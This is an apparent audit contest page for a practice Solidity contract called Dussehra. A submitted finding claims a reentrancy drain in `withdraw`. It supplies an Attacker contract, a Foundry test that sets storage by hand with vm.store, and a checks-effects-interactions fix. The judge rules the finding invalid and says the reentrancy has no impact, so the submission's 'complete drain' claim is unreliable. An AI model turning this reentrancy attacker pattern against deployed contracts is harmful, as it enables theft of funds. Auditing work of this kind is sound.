First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

Reentrancy in `Dussehra::withdraw` function allows complete drain of funds

ECunha

Summary

Dussehra contract can be drained through the withdraw function due to reentracy.

Vulnerability Details

In Dussehra::withdraw function is susceptible to reentrancy attack, potentially draining all contract's funds.

Proof of CodeCreate a new contract named Attacker.sol in test folder:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
interface Victim {
function totalAmountGivenToRam() external view returns (uint256);
​
function withdraw() external;
}
​
contract Attacker {
address owner;
Victim victim;
​
constructor(address victim_) {
owner = msg.sender;
victim = Victim(victim_);
}
​
receive() external payable {
if (address(victim).balance > victim.totalAmountGivenToRam()) {
attack();
}
}
​
function attack() public {
victim.withdraw();
}
​
function withdraw() external {
payable(owner).transfer(address(this).balance);
}
}

Import this file into test/Dussehra.t.sol test file and add the following test:

function test_reentrancy() public participants {
// deploying attacker contract
Attacker attacker = new Attacker(address(dussehra));
​
// setting up contracts storage variables to
// simulate end of event
vm.store(
address(dussehra),
bytes32(uint256(3)),
bytes32(uint256(uint160(address(attacker))))
);
vm.store(
address(choosingRam),
bytes32(uint256(0)),
bytes32(abi.encode(true))
);
vm.store(
address(choosingRam),
bytes32(uint256(1)),
bytes32(uint256(uint160(address(attacker))))
);
​
vm.warp(1728691069 + 1);
dussehra.killRavana();
​
// reentrancy attack
uint256 balanceBefore = address(dussehra).balance;
attacker.attack();
uint256 balanceAfter = address(dussehra).balance;
​
// checking results
assertEq(balanceBefore, 1 ether);
assertEq(balanceAfter, 0);
}

Run the command forge test --mt test_reentrancy to run this test. All funds will be drained.

Impact

Complete drain of funds

Tools Used

Manual review, Foundry

Recommendations

Follow the checks-effects-interactions pattern:

function withdraw() public RamIsSelected OnlyRam RavanKilled {
if (totalAmountGivenToRam == 0) {
revert Dussehra__AlreadyClaimedAmount();
}
- uint256 amount = totalAmountGivenToRam;
- (bool success, ) = msg.sender.call{value: amount}("");
- require(success, "Failed to send money to Ram");
- totalAmountGivenToRam = 0;
+ uint256 amount = totalAmountGivenToRam;
+ totalAmountGivenToRam = 0;
+ (bool success, ) = msg.sender.call{value: amount}("");
+ require(success, "Failed to send money to Ram");
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Invalid - reentrancy in withdraw

The `withdraw` function sends the given amount to Ram. If the attacker calls the `withdraw` function again before the state variable is changed, the function will revert because there are no more funds in the contract. This reentrancy has no impact for the protocol. It is recommended to follow the CEI pattern, but this is informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.